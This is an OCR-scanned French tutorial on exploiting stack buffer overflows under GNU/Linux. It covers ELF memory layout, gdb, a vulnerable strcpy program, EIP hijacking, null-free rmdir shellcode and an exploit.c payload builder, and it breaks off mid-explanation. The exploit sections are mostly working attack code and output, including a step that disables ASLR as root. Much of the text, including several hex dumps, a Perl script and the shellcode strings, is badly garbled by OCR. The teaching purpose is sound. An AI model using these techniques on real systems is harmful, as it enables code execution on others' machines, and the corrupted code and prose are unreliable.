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1. Introduction

Avant de se lancer datesvif du sujet, je tiens a me e&nter afin que le lecteur sache
qui se «cache» derriere ce document et en profiter pour préciser certains points caricerna
ce texte.

Je moé e xavance pourddites les fautesretnque de précisions que vous
pourrez trouver dans ce doene nt .  Nohdp& s me e@rtacter afin gj@ecorrige ou
compléteceluci( ] 6 essayer ai leterrajoor quard B do@tiorode lad e
sécurité informatique) ou pour me faire part de vos critiques constructives et commelgaires
suis actuellement étudiant en premiére année de DUT informatique 6 ® cr i t ur e mai s
préparationd c e tréprituatempd comnsd ®r abl e et jb6esp re avoi
de ce travail.

A |l a base, jJjobéavais pour obj edhdllicods d6®crir e
polymorphiguset de | dapprofondir e nsheflcedeentierenaentt | a p
alphanumeérique (i.¢ous les opcodes compris ddas valeurs [@A-Z0-9]) afin de
démontrer les faiblesses potentielles des NID8.®t ai t un suj et que | e t
et ma motivation a produire un texte surdbslicods alphanumériqueétait poussée par le
fai t qupeag ev wn 0jau sl@gdocmentgran@ss sunde sujet.

Cbébest en eff ect ua n tstackewwrflonages teshelddulequep | oi t a't
je me suis rendu compte des nombreuses protegiésentes en local (en plus des
protectionpr ®s ent es | or s d,camme paaekemplelarandomisationsléd a n c e
| 6adresse de base de | kengdbl e sous GNU/ Li nux

Jo6ai ailesgjat de®dt articlg, et en méme temps décidé de le destiner a un plus
| ar ge p darddacion deslpantie%?2 et 3, destinées aux débotaats |nd|V|dus ne
s0O®t ant jamais pench®s s ur (bdffer everfiod.i | es de d®



En effet o6y d®crirai | o0organisation de |
langagamachine)a manipulation de certains outils GNU/Linxt c . Il sbdébagit don
rappels afin de se rafraichir la mémoire sur certains pahtson pas une documentation
exhaustive permettant un apprentissage complet de ces notions.

De plus certaies connaissances nécessaires a la lecture de ce document ne seront pas
rappelées, pour de nombreuses raisons évidentes, comrogranpmation en C (voire Perl,
bien que |l es scripts Perl pr ®s entPoofdbfans cet
Concept»).



2. Rappels des concepts de base

2.1. Organisation de la mémoire sous GNU/Linux

Sous les systemes GNU/Linux, les fichiers binaires exécutables sont du format ELF
(Executable and Linking Forma¥.o i c i | a st r uichtenELFe gl obal e dou

ELF Header
struct EIfN_Ehdr

Program Header Table
struct EIfN_Phdr

Sections: .bss, .data,
.text, .got, .plt, ...

Section Header Table
struct EIfN_Shdr

Format ELF d’un fichier exécutable
et d’un fichier objet partagé

Les structures pour processeur i386 EIf32_Ehdr, EIf32_Phdr et EIf32_Shdr sont
détaillées dans les annexes de ce docurRent. les binaires exécutables au forr&a-64,
se référer amanpagedu format elf.



Lorsqubéur ex®cdtaakl®, | e syst mePrdgiamx pl oi t
Header Tablde segment dont le chanmp typecorrespond a la vale®T_INTERP.

Il prend ensuite la valeur du champpoffsetafin de localiser le segment dans le fichier
ELF, etrécupéremm chaine de caract res qQqui correspon
GNU/ Linux, il sbéagit -khux.sd.2. Cehitiesrain®lbpreamierapart ag
°tre mapp® en m®moire, et EhganHedderTaklgioi va p
de mapper tous les segments de §peLOAD avec lesyscallmmap(),en tenant compte des
champs_filez(la taille du segment dans le fichier)petmemstZla taille du segment en
mémoire). Pour chaque segment le chamitagsdéfinit les droits enx@cution, écriture et
lecture.

La Section Header Tablgui est optionnelle dans les fichiers binaires exécutables,
donne des informations supplémentaires sur les différentes sections grace aslchgp®
qui spécifiele contenu du segmentst_flagsqui définit les droits en écriture, allocation et
exécutionOn distingueainsin peu moins doébune trentaine de
toutefois nécessaire de retenir uniguement

La section .text elle contient les opcodes (code machine) du prograanexécuter
La section .dataelle contient toutes les donnégsbalesnitialisées
La section .bsselle contiat toutes les données globatestinitialisées

De plus,chaque processus dispas® u n estapRiqlii eontiéndra les variables
localesed 6un tas 0% seront stock®s | dasfonstianr i abl es
mal |l oc() en C, | da pil®arditveesles adresses bassekpdiesse e
base de cellei se situe vers les adresses hadtes | 6 e s p a awser land, c'dstadirat eur (
Oxbfffffff ;1 6 e susea®teant si tu® entre O0xO0ké&reed® 0 et O0x
0xc0000000 et Oxffffffff.

Pour r®sumer et obtenir dbébavantage doéinfo

#include <malloc.h>
#include <stdio.h>

inti; /I .bss
char c ='A’; // .data




int main(int argc, char** argv, char** env) {
int j; // stack
char* k = (char *)malloc(50*sizeof(char));

printf("PID : %kh"
"text : Ox%xn"\
".bss : Ox%n"\
".data : Ox%m"\
"argv : Ox%en™\
"*argv : 0x%xn"\
"env: 0x%Xxn"\
"*env : 0x%xn"\
"stack : Ox%hn'"\
"heap : Ox%n",
getpid(), main, &i, &c, argv, *argv, env, *env, &j, k);

while(1) { sleep(1); }
}
deimos@I33tbOx:~/memory $ geggdb-o mem mem.c
deimos@33tbOx:~/memory $ ./mem plop
PID : 29105
text : 0x80483f4
.bss : 0x8049730
.data : 0x8049728
argv : OxbfbOdba4
*argv : OxbfbOfcilf
env : OxbfbOdbb0
*env : OxbfbOfc2a
stack : OxbfbOdb00
heap : 0x804a008

Petiteverif cati on de | 6adresse desdamapjajlese nt s et
v ar i adnlireneemenbétarsituées juste au dessus des argumeisbfbOfc2a- OxbfbOfclf
= 0x0B = (11) Le binaire ./mem a été lancé danshellavec un argumentla chaine «/mem
plop » (./mem correspondant a argv[0]) fait bien 11 carac&mesomptant le caractére final
NULL.



De plus,nd équil peamee de | ister | es symbo
assure que chaque variable est dans la bonne seaisgiribole B représente la section .bss,
D la section .data et T la section .text.

deimos@I133tb&:~/memory $ nm mem
[..]

08048350 T _tart

08049728 D ¢

08049730 B i

080483f4 T main

Avec ces informations, on peut facil ement
ce schéma (volontairement simplifié)

OXBFFFFFFF

Arguments
Variables d’environnement
argc
argv(]
env[]
Variable locale 1
Vairiable locale 2

Argument 2
Argument 1
Adresse de retour (EIP courant)

EBP courant
Variable locale 1 «— ESP

Pile (stack)

Tas (heap)

Section .bss
Section .data

, <— EIP
Section .text

0x080480

Organisation de la mémoire vive
d’un processus sous GNU/Linux



Lor squodoun pr ooopestsanmitrede hombreuses igformations sur
celukci grace au systeme de fichiertuel /proc. Bien évidemment nous ne verrons que les
points qui nous serviront plus tard dans notre étude des exploitations et protechiafierde
overflow En effé, a chaque processus lance, un sepertoire est créé dans /proc avec
comme nom soRrocessus IDDans chaque répertoire /proc/[pid]/, on trouve

environn. ce fichier contient | es variabl es d¢
maps. ce f i c hi aeurlasdébuls ef’fin de 8eatioris mappées en mémoire,
ainsi que | es dr oi t:spoy leature, wcpbua @niturteex pdud e nt r e
| 6ex®cution, s pour | e partage et p pour
x stat: 1 nformations di v e:saldechasigtartstdckoo®s at du p
intéresse

deimos@I33thOx:~/memory $ ./mem &
[1] 4125
wX8

deimos@I33tbOx:~/memory $ cat /proc/4125/maps

0804800608049000 +xp 00000000 03:08 1667933 /home/deimos/memory/mem
080490060804a000 nap 00000000 03:08 BY933 /home/deimos/memory/mem
0804a0000806b000 rwp 0804a000 00:00 O [heap]

b7ea7006b7ea8000 rnap b7ea7000 00:00 O

b7ea8006b7fd2000 rxp 00000000 03:07 895887  /lib/tls/IHac3.2.s0
b7fd2000b7fdb000 rwp 00129000 03:07 895887  /ligflibc-2.3.2.s0
b7fdb000b7fdd000 rwp b7fdb000 00:00 O

b7fe7000b7fe9000 rwp b7fe7000 00:00 O

b7fe9000b7fea000 #xp b7fe9000 00:00 O [vdso]

b7fea00Gb8000000 #p 00000000 03:07 895858  /lib/k3.2.s0
b80000068h8001000 rwp 00015000 03:0895858  /lib/ld2.3.2.s0
bfb7b000bfb90000 rwp bfb7b000 00:00 O [stack]

deimos@I33th0Ox:~/memory $ cat /proc/4125/stat

4125 (mem) S 3561 4125 3561 34816 4127 4194304 185000000018 01 0 339
1605632 89 4294967295 134512640 13451437P6567792 3216567152 3086293371
000000171000

deimos@I133tb0Ox:~/memory $
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deimos@I33tbOx:~/memory $ cat /proc/4125/environ | trG00" "\n"
TERM=xterm

SHELL=/bin/bash
XDM_MANAGED=/var/run/xdmctl/xdme®,maysd,mayfn,sched,method=classic
USER=dmos

WX8

PWD=/home/deimos/memory

LANG=fr_FR@euro

SHLVL=2

HOME=/home/deimos

LANGUAGE=fr_FR:fr.en_GB:en

LOGNAME=deimos

DISPLAY=:0.0

COLORTERM=

_=./mem

OLDPWD=/home/deimos

deimos@I33thOx:~/memory $

2.2. Le langage assembleur

De solides connaissances du langage assembleur seront également nécessaires pour la
suite de ce document. Nous allons donc revoir rapidement deux syntseedblkesir la
syntaxe AT&T car elle est utilisgpargdb (Gnu debuggéret la syntaxd& ASM (Netwide
Assemblércar lesshellcods seront programmeés avec cetlie en effet elle est moins lourde
étantallégée de tous les préfixes des opérandes, bien queuumans logique que la syntaxe
AT&T.

E x e mp | teuctidndasigie en syntaxe NASgauche) et AT&T (droite)

mnemonique dest, source

mov eax, 0x05

mov [ebx], eax

mov [ds:ebp+0x05], al

mov [es:ebx+4*ecx+0x2f], ax
jmp near eax

mnemonique source, dest

movl $0x05, %eax

movl %eax, (%ebx)

movb al, %ds:0x05(%ebp)

movw %es:0x2f(%ebx,%ecx,0x04)
jmp *%eax

11




Un bref rappel des différents registres disponibles sur un processeur i386

X Les registres générawkEAX, EBX, ECX, EDX
X Lesregistresl 6 o f: EH, €8I, EBP, ESP, EIP

e ESP correspond au pointeur du sommet de la ptieck Pointer

e EI P
Pointer)
X Les registres EFLAGS

contient | 6adr esse

2.3. Utilisation de logiciels de débogage

d elnstruatiopr oc hai ne

Dans cée section nous allons rapidement passer en revue les principales commandes

degdb, le débogueur qui nous servira plus tard sous GNU/Linux.

deimos@I33thOx:~/memory $ cafunc.c
#include <stdio.h>
void foobar(irt nbrl, int nbr2) {

int local;

printf("%d,%dn", nbrl, nbr2);

}

int main() {
inti=5;
intj=6;
foobar(i, j);
return O;

}

deimos@I33tbOx:~/memory $ geggdb-o func func.c

Voyons a présent comment ce code C est interprété en assestlde quelle maniere
sont gérésa pileet les appels de fonction. Pour cela, il suffit de désassembler la foimttion

main() et la fonctionvoid foobar(int nbrl, int nbr2).

12



deimos@I33tbOx:~/memory gdbfunc

WX 8

(gdb) disass foobar

Dump of assembler code for function foobar:
0x08048354 <foobar+0>: push %ebp

0x08048355 <foobar+1>: mov %esp,%ebp
0x08048357 <foobar+3>: sub $0x28,%esp
0x0804835a <foobar+6>: mov 0xc(%ebp),%eax
0x0804835d <foobat9>: mov %eax,0x8(%esp)
0x08048361 <foobar+13>: mov  0x8(%ebp),%eax
0x08048364 <foobar+16>: mov  %eax,0x4(%esp)
0x08048368 <foobar+20>: movl $0x80484c8,(%esp)
0x0804836f <foobar+27>: call 0x8048290 <printf@plt>
0x08048374 <foobar+32>: leave

0x08048375 <foobar+33>: ret

End of assembler dump.

(gdb) disass main

Dump of assembler code for function main:
0x08048376 <main+0>: lea 0x4(%esp),%ecx
0x0804837a <main+4>: and $O0xfffffff0,%esp
0x0804837d <main+7>: pushl Oxfffffffc(%ecx)
0x08048380 <main+10>: push %ebp

0x08048381 <main+11>: mov %esp,%ebp
0x08048383 <main+13>: push %ecx

0x08048384 <main+14>: sub $0x24,%esp
0x08048387 <main+17>: movl $0x5,0xfffffff4(%ebp)
0x0804838e <main+24>: movl $0x6,0xfffffff8(%ebp)
0x08048395 <main+31>: mov Oxfffffff8(%ebp),%eax
0x08048398 <main+34>. mov %eax,0x4(%esp)
0x0804839c <main+38>: mov Oxfffffff4(%ebp),%eax
0x0804839f <main+41>: mov %eax,(%esp)
0x080483a2 <main+44>: call 0x8048354 <foobar>
0x080483a7 main+49>: mov $0x0,%eax
0x080483ac <main+54>: add $0x24,%esp
0x080483af <main+57>: pop %ecx

0x080483b0 <main+58>: pop %ebp

0x080483b1 <main+59>: lea Oxfffffffc(Y%ecx),%esp
0x080483b4 <main+62>: ret

End of assembler dump.
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On remarque quoune fonction “Based®ointeour s un
enld e mp iplsh et gui gst substitué par Eack Pointecourant. Il sert a récupérer les
argumentspass | a fonction ainsi quoé” r®tablir | o6e
fonction. Puis avec usub $0xyy, %esle processus réserve yy octets sur la pile airyd
stocker les variables localégoici le prologue en questian

0x080483%4 <foobar+0>: push %ebp
0x08048355 <foobar+1>: mov %esp,%ebp
0x08048357 <foobar+3>: sub $0x28,%esp

0x08048380 <main+10>: push %ebp
0x08048381 <main+11>: mov %esp,%ebp
0x08048383 <main+13>: push %ecx
0x08048384 <main+14>: sulB0x24,%esp

En fin, de fonction, | 6op®r addavequn i nver se
correspond a umov %ebp, %esppop %ebp L 6 i n etqruamtti on el | e est |
depop ep.

(gdb) b *0x0804836f

Breakpoint 1 at 0x804836f: file func.c, lihe
(gdb) run

Starting program:tiome/deimos/memoryfunc

Breakpoint 1, 0x0804836f in foobar (nbrl=5, nbr2=6) at fuAc.c:

4 printf("%d, %, nbrl, nbr2);

(gdb) p $ep

$1 = (void *) 0xbf98ba70

(gdb) x/3xw $esp

0xbf98ba70: 0x080484c80x00000005  0x00000006

(gdb) x/10c 0x080484c8

0x80484c8 <_I0O_stdin_used+4>: 37 '%' 100 'd' 44 "', 37 '%' 100\k'@Q0" 0\0'
0x80484d0 < FRAME_END__ >:'\0'00 \0

14



En plagant ubreapointsur lecall de notre fonction printf(), on peut vérifier que le
registre ESP pointe bien vers les troisargumentsl 6 adr esse de | a cha  ne
format dobéaffichage, et x/&&w%esmfichex3 motalbngsur s . L a
(double wordsen hexadécimal au sommet de la piles/&20c 0x080484c8ffiche 10 octets
en ASCII © | 6adresse mise en param tre.

15



3. Exploitation basique de stack overflow

3. 1. Pr ®sent at kovarfloddun cas de
Un stack overflowou dépassement de pile, est un cas spécifiqbefter overflow
(d®passement de tampon). Comme son nom | 6ind
| ai ssant © [ 6utilisateur | acteggqusprévipcetii t ® de s
provoquant | 6®cr asemepnuti sdel ed ocnrna®ehs dsee nl soi abpl pel si

dysfonctionnement est dd le plus souvent a une inattention durant la phase de programmation
du binaire par les développeurs.

Dans la plupart des cas siack overflowce bug représente une faille de sécurité qui

peut °tre exploit®e soit en | orermolg,Ceteoi t =~ di
vul n®rabilit® est redoutable ®t ant donn® que
codeque | 6application ex®cute. Toutefois elle

protections contre ce type de failles se multiplient (protectiordépi@ssement de tampon
depuis gcc 4.1, patch sur gets queStackShield Pax, compilateur Stack@Gard,flag /GS
sous Microsoft Visual C++, €)

deimos@I33tbOx:~/stackoverflow $ catuln.c
/I A compiler avea;fno-stackprotector a partir de gcc 4.1
#include <string.h>
void foo(const char* buf) {
char buffer[100];
strcpy(buffer, buf);

}
int main(int argc, char *argvy(f
if(argc> 0
foo(argv[1]);
return O;
}

16



Le programme précédent est un des exemples les plus basigtaskdaverflowEn
effet, la fonctiorvoid foo(const char* bufjecopie dansufferqui fait 100 octets la chaine de

caractéeres passéegrar am tre, dont |l a taille nbdbest pas
1%"argument du programme qui est recopié darffer. Comme expliqué deux paragraphes
plus ti1t, si | 6uti | i s aesesupeériceraBO0rcaracieére@nar g u me nt

caractere ASCII équivaut a un octet), des données seront écrasées dans meémaoire.

Quell es seront ces octets de? | plidoen sruev i
au schéma de la mémoire présenté dans le chapitre précédent, on constateagiabdles
|l ocales doéune fonction sont pr® c®d®es de EBP
programme doitretouetrl or s de | 6instruction RET de | a f

Dans notre c dm(@argv[l)y soat endpéés succespveraent

Léaddes $ & araggylhe nt
LOEIP courant, qui poi ntdrersturmO; | 6i nstruct.i
LOEBP courant, qgui va confopoenir ESP (prolo

deimos@I133tb0x:~/stackoverflow $ gggdb-o vuln vuln.c
deimos@I33thOx:~/stackoverflow $ ./vuln
deimos@I33thOx:~/stackoverflow $ ulimi 100000
deimos@I33tb0x:~/stackoverflow.$/uln “perl-e 'print "A"x200;"
Erreur de segmentation (core dumped)
deimos@I33tbOx:~/stackoverflow $ gdb ./vuln core

wWX8

Core was generated by "./vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA'.

Program terminated witlsignal 11, Segmentation fault.
#0 0x41414141in?? ()

(gdb) p $&p
$1 = (void *) 0x41414141

(gdb) p $eip

$2 = (void *) 0x41414141

(gdb) x/10x $esp

O0xbfa24320: 0x41414141 0x41414141 0x41414141 0x41414141
O0xbfa24330: 0x41414141 x40414141 0x41414141 0x41414141
Oxbfa24340: 0x41414141 0x41414141

(gdb) quit

17



On vient ainsi de vérifier avegdbque EBP et EIP ont bien été écragér les données
entr ®es par | dutilisateur (0x41 correspond a

La fonctionstrcpy()est ainsi a éviter lors de la programmaiorC car elle peut,
selon son utilisation, cr ®dicatiod. €etté fonetiordpgut pr o b |
étre résumeée a ces quelques lignes de langage machine

strcpy:
mov cl, [ds:eax]
mov [ds:edx+eax], cl

inc eax
test cl, cl
jnz strcpy
EAX contient | 6offset de | a cha"ne de car
seront ®crits |l es caract res. QOe;lacapedesat e do
caract res ne sbarr°te uniquement |l ors de | a
strncpy fonction identique &trcpyy, ~ | 6 exception déun troisi me
de la chaine.

De nombreuses fonctions sus lehaines de caractéres sont a éyiber peut citegets
strcpy, strcat, sprintf, vsprintftet bi en ddéautres, selon | eur uti

3. 2. Prise de contr!®l e du f 1l u;

Dans | 6exemple pr®c®dent, | e prengjduamme vu
registre EIP par la chaine de caracter@®\RA ». En effet, aucun code exécutable ne se
situe © | 6adresse m®moire 0x41414141. Toutef
bufferde caract res OA6 puis de sneeet tak Idéaons W eust
processugump.

18



Dans | 6exemple suivant, nous al

ons

saut e

notre ex®cutable. Cela nedaast | dedstadkil t ae¢ | O @
overflow sauter vers une fonctiondeé x ®c ut abl e nousarrpedanoet t ra r &

fins. En effet, quelques pages plus loin, cette adresse sera celle dehattade

deimos@I133tb0x:~/stackoverflow $ catutm.c
#include <stdio.h>

void bar(void) {
printf("Hacking Attempt.n");
}

int main(int argc, char *argv(]) {
char buffer[100];
strepy(buffer, argv[1));

printf("Quit\n");
return O;

}

deimos@133tb0x:~/stackoverflo®% gcc-ggdb-o vuln vuln.c
deimos@I33th0x:~/stackoverflow $ gdb vuln

WX 86

(gdb) disass bar

Dump of assembler code for function bar:

0x080483el <bar+0>: push %ebp

0x080483e2 <bar+1>: mov %esp,%ebp
0x080483e4 <bar+3>: sub $0x8,%esp

0x080483e7 <bar+6>: movl $0x8048554,(%esp)
0x080483ee <bar+13>: call 0x80482d8 <_init+56>
0x080483f3 <bar+18>: leave

0x080483f4 <bar+19>: ret

End of assembler dump.

(gdb) quit

deimos@I133tbOx:~/stackoverflow $ ./vuln "peel'print "A"x124; prin
"\xel\ x83 x04x08":"

Quit

Hacking Attempt.

Erreur de segmentation (core dumped)
deimos@I133th0Ox:~/stackoverflow $
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3.3. Programmation de shellcod®asiqueet exploitation

Notre objectif dans cette partie estaamcevoir urexploitt  ca@deesuh programme
exploitant une faille de sécurité dans un exécutable en lui injectant en mémslireloode
puis en sautant ° | 6adresse de ce dernier af

La premiere étape consiste a programmer rsbtedcodeen assembleur. Nous avons
alors une infinit® degtouethionous alleniresimpleatct i on de
programmer ushellcodequi nous supprimera le répertoiréestdir» (créé auparavant pour
le test). & fais confiance a vos talemtscoderpour développer deshellcods plus exotiques
et les tester.

deimos@I33th0x:~/stackoverflow/sc $ cat >shellcode.asm
BITS 32

global _start
segment .text

_start:
jmp short donnees
rmdir:
pop ebx
XOr eax, eax
mov al, 0x28 ; syscall rmdir
int 0x80

XOr eax, eax
mov al, 0x01 ; syscall exit
xor ebx, ebx

int 0x80

donnees:
call rmdir

nom db "testdr"

deimos@I33th0x:~/stackoverflow/sc $ nasm shellcode.asm
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Rien dbéexceptionnel; doawn sr ®ceu pc ordee | adsasder nebsl ses

caractéres testdir» par le classiqugnp / call / pop: lors ducall, | 6 a dirbeisnsset rduec t i o
suivante (EIP) est empil ®popetEnoreflfae tr, ®ccuwpe srte
qui suit directementleall, donc on obti€nt | 6adresse de ce

Lors doéun oyseal!| Iseysntumier of de | deatfepel se si
parametres dans les registres disponibl&sgument EBX, 2@ argument ECX, puis
EDX, ESI, EDI et EBP. S i |l e nombre dbéarguments ‘a6,passer
alors | e registre ECX cont i enkkglesargumenmp| ac e me

Pour la liste de tous leyscals, on peut se référeu fichier
/usr/src/linux/arch/i386/kernel/syscall_tablécsdessous un extrait, on voit les codes des
deuxsyscallutilisées: 0x01 pour exit et 40d soit 0x28 paundir).

deimos@I33th0Ox:~/stackerflow/sc $ cat Lisr/src/linux2.6.20/arch/i386/
kernelsyscall_table.S

ENTRY(sys_call_table)

.long sys_restart_syscall /* 0 -old "setup()" system call, used for
restaring */

Jong sys_exit

Jong sys_fork

Jong sys_read

Jong sys_write

ong sys_open [*5*
WX 8
Jong sys_rename
Jong sys_mkdir
Jong sys_rmdir * 40 */
WX 8
A présent que nous avons natfellcodec o mpi | ®, i faut v®erifie
utilisé dans une exploitation déack overflowPour cela, il ne doit comporter aucun octet
NULL (en effet |l es foncti ontkrssguiirelcéeneesle ha nes
c ar a @&0t)det needoit&contenir aucune adresse absolaer | 6 adr esse exacte

dans | a pil e .Dépgusi estjpefgrable sle coderrdimsiiceds de la
mani re | a pl us c o ulogeable npeme dans dasfiers de pefite tailleq u 6 i |
(quel ques dizaines doéoctets).
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deimos@I33th0x:~/stackoverflow/sc $ hexduntp shellcode
00000000 eb Of 5b 31 c0 b0 €8 80 31 c0 b0 01 31 db cd |&.[1A(I.1A°.1Ui|

00000010 80 e8 ec ff ff ff 74 65 73 74 64 69 72 |.&1yyytestdir|
0000001d
Ici, le shellcodeest correctement codé | n 6 y byta NUWLL \6oigi min exemple

de code assembleur a éviter car il produit des octets NULL et la taBleetloodepar la
méme occasion

deimos@I33th0Ox:~/stackoverflow/sc $ cathellcode.asm
BITS 32

global _start
segment .text

_start:
jmp donnees
rmdir:
pop ebx
mov eax, 0x28 ; syscall rmdir
int 0x80

mov eax, 0x01 ; syscall exit
xor ebx, ebx
int 0x80

donnees:
call rmdir
nom db "testdir"

deimos@I33th0x-/stackoverflow/sc$ nasm shellcode.asm
deimos@I33tbh0x:~/stackoverflow/sc $ hexduntp shellcode

00000000 €9 11 00 00 00 5b b8 28 00 00 00 cd 80 b8 01 00 |é....[.(...I....]
00000010 00 00 31 db cd 80 e8 ea ff ff ff 74 65 73 74 6§.101.2&yyyestd|
00000020 69 72 [ir|

00000022
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Pour °tre s%r que tout se d®r ogheleode o mme p
on extrait les octets de notre code assembleur obtenus avec la corhmethdap C
shellcod avec un scripte Perul faasrt i G esutx uwdl geguncor
programmé ushellcoded e pl usi eur s )etemlds axéauteele urk6 oct et s)
fonction C:

deimos@I133thOx:~/stackoverflow/sccht >extract_shellcode.pl
#!/usr/bin/perl

use strict;

use warnings;

$, ="\x";
openmy $shellcode"<¢ = G aKSff O2RSh 2NJ RAS a/ I y(
my $content = <$shellcode

Ot2al8 pakKSttO2RS 2NJRAS a4/ FyQi Of2as

$ =join ", unpack("H*",$content);

print "\\x";

print m/../g;

print "\n";

deimos@I133tbOx:~/stackoverflow/sc $ perlteact_shellcode.pl

\xeB xOA X5 x3 1\ xcOxbAx28 xcd x8A X3 N xcOxbOAX0N X3\ xdb\xcd x80 xe8 xed x
FIAXFAXFAX7AXBBXTAXTAXBAXEAXT2

deimos@I133tb0x:~/stackoverflow/sccht >test.c

char sc[] =

"\xel xOA X5 x3 1\ xcOxbOx28 xcAx8A X3\ xcO xbAx0Nx3N\ xdb\ xcd x80 xe8 xed
XAXFAXAX7AXEBX7AXTAXEAXE6AXT2";

int main(int argc, char **argv) {
int (*shellcodg() = (int (*)())sc;
shellcode();

return O;

}

deimos@I33tb0x:~/stackoverflow/sc $ gectest test.c

test.c: Dans la fonctioR main »;

test.c:5: attention : use of cast expressions as Ivalues is deprecated
deimos@I33tb0x:~/stackoverflow/sc $ mkdir testdir
deimos@I133tb0x:~/stackoverflow/sc $ Is
extract_shellcode.pkhellcode shellcode.asm test test.c testdir
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deimos@I133tb0x:/stackoverflow/sc $ ./test
deimos@I33th0x:~/stackoverflow/sc $ Is
extract_shellcode.pkhellco& shellcode.asm test test.c

Tout 7 | 6ai r deeépdrtbire estcbreectemnent suppnne et le
processus ne crash pasos deuxsyscalks 6 e x ®c ut ent ddmatedms spréeolle
suis prét a parier gros quedkeellcoden e mar che pas | ors de | 6expl

7

ne doit pas comtoairsi ravd®hac toalioshllidedhghadarmstet r e ¢
nom du répertoire a supprimek nom db "testdir'> aurait d0 étre Rom db "testdir",0s.

Ici, leshellcodemar che tout de m°me, mais | orsqudil
caracteres testdire s er a sui vi detddndlenom desépestoirdmassé &t o u
rmdir ne sera pas testdir», mais une longue chaine commencant gastir» et suivi de
caracteres spéciaux,u s qproghaio caractere NULL.

Commentfairefinin ot re cha”  ne doéun c agledondamentale NUL L
d 6 shellcodesst de ne pas contenir ce type de cara&drsuffit de «fabriquer» ce
caracteredefin | 6 ex®cuti on m° me

deimos@I33thOx:~/stackoverflow/sc $ cat shellcode.asm
BITS 32

global _start
segment .text

_start:
push byte 0x50
xor [esp], byte 0x50
push byte 0x72
push word 0x6964
push dword 0x74736574

XOr eax, eax
mov al, 0x28 ; syscall rmdir
mov ebx, esp

int 0x80
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Xor eax, eax
mov al, 0x01 ; syscall exit
xor ebx, ebx

int 0x80

deimos@I133tb0x:~/stackoverflow/sc $ nasm shellcode.asm

shellcode.asm:8: warning: signed byte value exceeds bounds
deimos@I33th0x:~/stackoverflow/sc $ hexdurtp shellcode

00000000 6a 50 80 34 BO 6a 72 66 68 64 69 68 74 65 73 |jP.4$Pjrfhdihtes|
00000010 7431 c0b02889e3cd 8031c0b00131dbcd [t1A°(.Al.1A°.1(
00000020 80 ]
00000021

deimos@I3&0x:~/stackoverflow/sc $ perl extract_shellcode.pl

\X6a X500 X8 X3AX2AX50. X6 X7TAX66 X68 X6AXE6AX68 X7TAXEDXTAXTAX3NX
cOxbOx28 x8Axed xcd x8Ax31\ xcOxbAx0N x31\ xdb\ xcd x80
deimos@I133tb0x:~/stackoverflow/sc $ cetest.c

char sc[] =

"\X6A X5 XBOAX3AX2AX5Q X6 X7AX668 X6 X6AX6AX6BXTAXEDXT7AX7AX31\
XCOxbOx28 x8Axed xcdx8Ax31\ xcOxbAx0Nx3N\xdb xcd x80";

int main(int argc, char **argv) {
int (*shellcodg() = (int (*)())sc;
shellcode();

return O;

}

deimos@I33th0x:/stackoverflow/sc $ gco test test.c

test.c: Dans la fonction « main »:

test.c:5: attention : use of cast expressions as Ivalues is deprecated
deimos@I133tb0x:~/stackoverflow/sc $ mkdir testdir
deimos@I33thOx:~/stackoverflow/sc $ Is

exploit exploit.c Isellcode shellcode.asm shellcode.o test test.c testdir
deimos@I133tb0x:~/stackoverflow/sc $ ./test
deimos@I33thOx:~/stackoverflow/sc $ Is

exploit exploit.c shellcode shellcode.asm shellcode.o test test.c
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Le r®pertoire est corr ecsegtanipas;tokssuppr i m® e
correct.Maintenant que Ishellcodeest prét pour une exploitation de faille, récapitulons ce
gue va contenir notreuffer:

x  Notreshellcode

x Loadresse de retour avec-adiagaiell d &®d rEd £s @ om
de notreshellcode Celui-ci se trouve dans la pile étant donné que nous traitons ici un
cas destack overflowdoncele avoi sinera | 6adresse Oxbfff

Cet ensembl e d oépaytoadetdat aveiscomme mifeecel@dwutfen
+ 4 octets (écrasement de EBP) adlets (écrasement de EIP).

Il nous reste a trouvemplacemenbu se trouve notrehellcodedans la pilePour
cela, il faut dbéabor d c ctack basetaddecsgli ésastatigees s e d e
sous les noyaux linux 2.4.x ou précédentsueties noyaux 2.6.x lorsque
/proc/sys/kernel/randomize_va_spa&sta 00n utilise la fonction _asm__ (e gcc afin
dé®crire deinlihed atolteaintbtte adteseqaui t out efleingdda c hange
un autre)

deimos@I33thOx:~/stackoverflow $ su

Passwrd:

root@133tb0x/home/deimogstackoverflow $cat >proc/sys/kernel/randomize_va_spad
0

root@133tb0x/home/deimogstackoverflow$ exit

deimos@I33th0x:~/stackoverflow $ catind esp.c

#include <stdio.h>

longfind_esp() {
__asm__ ("movl %esp, %Enx

}

int main() {
printf("Stack Pointer : Ox%m", find_esp());
return O;

}

deimos@I33th0x:~/stackoverflow $ for i in “s&q do .find_esp; done
Stack Pointer : Oxbffff9a8

Stack Pointer : Oxbffff9a8

Stack Pointer : Oxbffff9a8

deimos@I3tb0x:~/stackoverflow $
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Cependantcommat connaitre le décalageffse) que poss de | 6adres
shellcodedans la pile par rapport a cette adrésdus savons que la pile croit vers les
adresses bassgde ce fait notrshellcodese situera une adresse inféure a Oxbffff9a8

Nousa |

ons adopter une

mémoire. Pour cela, préparons notre exploit

m&d ihroed et epratre rb rtud et € ou rce

}

deimos@I33th0x:~/stackoverflow $ catxploit.c
#include <malloc.h>

char shellcode[] =
"\X90 X90 X90 X6 A X5AXB8AX3AX2AX50 X6 X72A X606\ X68 X6 AX6AX68 X7AX65\ X73
X7TAx3NxcOxbAx28 x89Axe3d xcd x80 x31\ xcOxbOx0Nx3N\xdb\xcd x80";

unsigned long find_esp() {

__asm__ ("movl %esp, %eax");

int main(int argc, char **argv) {

if(argc < 3) {

printf("Usage : %s [offset] [buffer_sixal, argv[0]);

return 1;

}

char *buff, *ptr_bulff;

unsigned long ret, *ptr_ret;
inti;

unsigned int offset, buffer_size;

offset = atoi(argv[1]);
buffer_size = atoi(argv|[2]);

buff = (char *)malloc(buffer_size + 2*4);

ptr_buff = buff;

for(i=0; i<strlen(shellcode); i++)
*(ptr_buff++) = shellcodeli];

ptr_ret = (long *)ptr_bulff;
ret = find_esp() + offset;

27



for(i=0; i<(buffer_size+8trlen(shellcode))/4; i++)
*(ptr_ret++) = ret

ptr_buff = (char *)ptr_ret;
*ptr_buff = 0;

execl("./vuln", "./vuln”, buff, NULL);

return O;

}

deimos@I33th0Ox:~/stackoverflow $

Dans un premier t e mpesmalloo)pouranbticoffedlade | desp
taille buffer_sizeentréeen parameétre + 8 octets pour EBP et EIP. Puis on remplitcedviec
